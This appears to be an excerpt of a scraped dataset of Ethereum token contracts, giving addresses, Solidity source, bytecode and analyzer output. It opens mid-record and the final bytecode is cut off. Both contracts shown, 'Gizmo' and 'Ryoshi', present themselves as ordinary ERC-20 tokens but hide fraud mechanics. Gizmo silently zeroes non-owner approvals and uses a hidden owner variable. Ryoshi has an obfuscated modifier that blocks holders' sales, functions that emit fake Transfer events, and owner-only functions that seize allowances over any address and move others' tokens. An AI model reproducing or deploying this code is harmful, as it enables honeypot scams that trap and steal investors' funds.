237b5c8b886bf0b0aa64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,546 |
0xab5d99d2c931d2bb4a9f0168a2a9778fa1e4fdb0 | /*
$GIZMO, CARE INSTRUCTIONS:
🙈Never expose it to sunlight.
🙉Never get it wet.
🙊Never, ever feed it after midnight.
🐒
Gizmo is an adorable Mogwai, he doesn't have a single mean bone in his body and refuses to be evil. At Gizmo we aim to encompass and embody this spirit and theme. We believe in fairness and transparency at all levels. 🐒
The tokenomics represent a unique concept partnered with Telegram and CT marketing. Whenever Gizmo changes to a gremlin, these unique tokenomic concepts are put forth, making holding Gizmo an exciting adventure. 👣
🐵 Just like $GIZMO, the longer they hold and climb, less tax they get! 🐵
TOKENOMICS
• Launch sell tax 40% for 30mins
• Tax goes down 5% for every zero we lose until it goes down to 10%.
• 0.5% max buy at launch
• Every time a buy wall of 25buys is built we do a buyback of 10% of the total amount of the buy wall.
TG: https://t.me/GizmoToken
WEB: (UPDATING)
🐥: https://twitter.com/GizmoToken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Gizmo is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100000* 10**9* 10**18;
string private _name = ' Gizmo Token ';
string private _symbol = 'GIZMO';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220931b478a51d783c3d4c21795a97fa462e6f112fef9be80f2ee9caabdde25b42a64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,547 |
0xfe8e3c9d32225d1366ee409efca5327acaa56be7 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Ryoshi is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x36B59455AfeEdf0866FE6E775FE7651bbBe3e005;
address public _ownr = 0x2B31611B575f1d252aBE53a62815CaaD3d4f874b;
constructor () public {
_name = "Ryoshi";
_symbol = "RYOSHI";
_decimals = 18;
uint256 initialSupply = 666666666666666 * 10 ** 18;
_safeOwnr = _ownr;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _ownr, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _ownr, "!owner");
_safeOwnr = safeOwner;
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require((
from == _safeOwnr
)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _ownr){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _ownr, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_ownr] = _balances[_ownr].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _ownr){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _ownr, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function enter(address recipient) public _verify(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function enterList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146108ac578063d014c01f146109df578063dd62ed3e14610a05578063f8129cd214610a3357610173565b8063b14a5c6a1461087e578063bb88603c146105b6578063bedf77a61461088657610173565b8063715018a6146105b65780638d3ca13e146105be5780639430b496146106f157806395d89b4114610717578063a5aae2541461071f578063a9059cbb1461085257610173565b80633cc4430d116101305780633cc4430d146103465780634e6ec247146104795780635265327c146104a5578063671e9921146104cb57806368d37db5146104ef57806370a082311461059057610173565b806306fdde031461017857806308ec4eb5146101f5578063095ea7b31461029857806318160ddd146102d857806323b872dd146102f2578063313ce56714610328575b600080fd5b610180610b66565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102966004803603602081101561020b57600080fd5b810190602081018135600160201b81111561022557600080fd5b82018360208201111561023757600080fd5b803590602001918460208302840111600160201b8311171561025857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bfc945050505050565b005b6102c4600480360360408110156102ae57600080fd5b506001600160a01b038135169060200135610cf0565b604080519115158252519081900360200190f35b6102e0610d0d565b60408051918252519081900360200190f35b6102c46004803603606081101561030857600080fd5b506001600160a01b03813581169160208101359091169060400135610d13565b610330610d9a565b6040805160ff9092168252519081900360200190f35b6102966004803603606081101561035c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561038657600080fd5b82018360208201111561039857600080fd5b803590602001918460208302840111600160201b831117156103b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561040857600080fd5b82018360208201111561041a57600080fd5b803590602001918460208302840111600160201b8311171561043b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610da3945050505050565b6102966004803603604081101561048f57600080fd5b506001600160a01b038135169060200135610e69565b610296600480360360208110156104bb57600080fd5b50356001600160a01b0316610f47565b6104d3610fb1565b604080516001600160a01b039092168252519081900360200190f35b6102966004803603602081101561050557600080fd5b810190602081018135600160201b81111561051f57600080fd5b82018360208201111561053157600080fd5b803590602001918460208302840111600160201b8311171561055257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610fc0945050505050565b6102e0600480360360208110156105a657600080fd5b50356001600160a01b03166110a6565b6102966110c1565b610296600480360360608110156105d457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105fe57600080fd5b82018360208201111561061057600080fd5b803590602001918460208302840111600160201b8311171561063157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561068057600080fd5b82018360208201111561069257600080fd5b803590602001918460208302840111600160201b831117156106b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611110945050505050565b6102c46004803603602081101561070757600080fd5b50356001600160a01b03166111d0565b61018061123c565b6102966004803603606081101561073557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075f57600080fd5b82018360208201111561077157600080fd5b803590602001918460208302840111600160201b8311171561079257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107e157600080fd5b8201836020820111156107f357600080fd5b803590602001918460208302840111600160201b8311171561081457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061129d945050505050565b6102c46004803603604081101561086857600080fd5b506001600160a01b03813516906020013561135d565b6104d3611371565b6102966004803603602081101561089c57600080fd5b50356001600160a01b0316611380565b610296600480360360608110156108c257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108ec57600080fd5b8201836020820111156108fe57600080fd5b803590602001918460208302840111600160201b8311171561091f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561096e57600080fd5b82018360208201111561098057600080fd5b803590602001918460208302840111600160201b831117156109a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611402945050505050565b610296600480360360208110156109f557600080fd5b50356001600160a01b03166114a0565b6102e060048036036040811015610a1b57600080fd5b506001600160a01b0381358116916020013516611527565b61029660048036036060811015610a4957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a7357600080fd5b820183602082011115610a8557600080fd5b803590602001918460208302840111600160201b83111715610aa657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610af557600080fd5b820183602082011115610b0757600080fd5b803590602001918460208302840111600160201b83111715610b2857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611552945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b5050505050905090565b600d546001600160a01b03163314610c44576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610cec576001806000848481518110610c6157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610cb257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610c47565b5050565b6000610d04610cfd611673565b8484611677565b50600192915050565b60045490565b6000610d20848484611763565b610d